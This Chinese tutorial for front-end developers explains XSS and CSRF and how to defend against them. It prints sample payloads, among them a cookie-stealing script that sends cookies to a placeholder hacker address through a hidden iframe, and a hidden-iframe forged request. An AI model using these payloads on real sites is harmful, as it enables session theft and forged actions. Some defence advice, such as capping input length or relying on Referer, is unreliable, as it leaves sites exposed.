XSS
全称为跨站脚本攻击，其特点是不对浏览器造成任何伤害，而是通过一些正常的站内交互途径，例如在网站的URL中加入javascript脚本，或者在发布评论的时候，提交含有javascript的内容文本。这个时候如果服务器没有过滤掉这些文本，当这些内容发布到了页面上，则其他用户访问这个页面时就会运行这些嗯脚本了。
运行预期之外的脚本带来的后果又很多，假如注入了一段严重的错误的javascript脚本，页面中的javascript可能会因此中断运行。或者加入了一个恶作剧的脚本，比如：
while (true) {
alert('网站错误')
}
用户此时无法做任何操作。
或者我们常见的网站左右两侧的广告栏，入侵者在网站注入脚本，比如:
img = document.createElement('img')
img.onclick = function() {
window.open('不好的网站')
}
这会影响网站的声誉以及用户的使用体验。
除了这些，更恐怖的是假如入侵者不只是简单的恶作剧和侵入广告，而是获取用户信息呢，比如：
// 得到用户的cookie
var cookies = document.cookie;
var xssUrlBase = '黑客的地址';
var xssUrl = xssUrlBase + window.encodeURI(cookies);
// 建立隐藏的iframe用来通讯
var hideFrame = document.createElement("iframe");
hideFrame.height = 0;
hideFrame.width = 0;
hideFrame.style.display = "none";
hideFrame.src = xssURI;
// 运行
document.body.appendChild(hideFrame);
脚本完成了以下操作，获取到用户的cookie然后发送了入侵者的地址，入侵者得到用户的信息后可以做许多的事情。
做为前端开发者，我们自然不能相信任何用户输入的数据，所以，当检测到用户内容是带有<script></script>或者<a href=""></a>的时候，需要将</>转义，或者将字符串的长度设置为小于25，这样用户则无法完成一个攻击的脚本。同时对后端返回的数据也不能完全信任，因为数据也有可能是入侵者中间截取，然后重新发送过来的具有脚本的数据，一旦发布到页面上了，同样会对网站进行入侵。所以最好的方法则是用户输入和后端返回的数据，我们都通过对数据转义。
CSRF
全称是跨站请求伪造。可以分为跨站请求伪造和站内请求伪造。站内请求伪造也是XSS攻击。也就是说CSRF同样可以通过XSS注入的方式来实现。
例如，发布动态的连接为：
http: // www.fabudongtai.com?title=标题&content=内容
入侵者通过XSS攻击的方式在页面上注入这样一段代码：
// 建立隐藏的iframe用来通讯
var hideFrame = document.createElement("iframe");
hideFrame.height = 0;
hideFrame.width = 0;
hideFrame.style.display = "none";
hideFrame.src = '
http: // www.fabudongtai.com?title=广告标题&content=这是一条广告';
// 运行
document.body.appendChild(hideFrame);
当用户访问这个页面的时候，则会在不知情的情况下发出这样一条内容。这是简单的恶作剧的情况下，可以伪造添加，那同样可以伪造删除，转账，修改密码，修改用户信息，发邮件等各种操作。
这时我们要怎样去抵御攻击呢？像XSS一样去转义字符？当侵入者是通过XSS注入脚本的时候，我们是可以通过这种方式去抵御攻击的，可是当侵入者是通过跨站请求伪造的方式来攻击的时候呢？
当侵入者通过QQ，微博或者其他网站将链接发布上去，用户同样会中招。被伪造的请求可以是任何来源，从任何一方发起。
由于几乎没有彻底杜绝CSRF的方式，我们一般的做法是以各种方式来提高攻击的门槛。
首先，我们需要把关于资源数据操作之类的API，设置为只接受POST请求，GET请求只获取浏览数据，这样一来，入侵者想要伪造请求便只能使用非GET的请求方法，而无法通过链接来进行伪造请求了。但是入侵者仍然可以通过其他方式，比如发布隐藏的表单，然后通过POST方法进行伪造请求。
这时候，我们便可以使用常见有效的方法来抵御CSRF了----使用Token令牌。服务端在用户登陆的时候返回随机的Token，前端将Token存在当前域，请求时需要携带这个信息，否则后台则将请求拒绝。这样跨站时是取不到当前域的Token的。
在一定程度上，使用Token令牌是安全的，但并不是绝对的，入侵者可以通过其它方式获取到信息，所以通常建议在的重要操作时加上验证码或者密码重复输入的功能，不过添加多一步的操作在一定程度上又会将用户的使用体验降低，这也是一个需要考虑的问题。Token和验证码的话，使用以后一定要记得及时销毁，否则一旦入侵者存储起来下次使用依旧会带来的麻烦。
除了设置Token，验证码，我们通常还可以通过在请求的头部设置referer属性来设置请求的来源，这个是由发送的请求者来设定的，在一定程度上可以防范部分入侵者的攻击。
以上。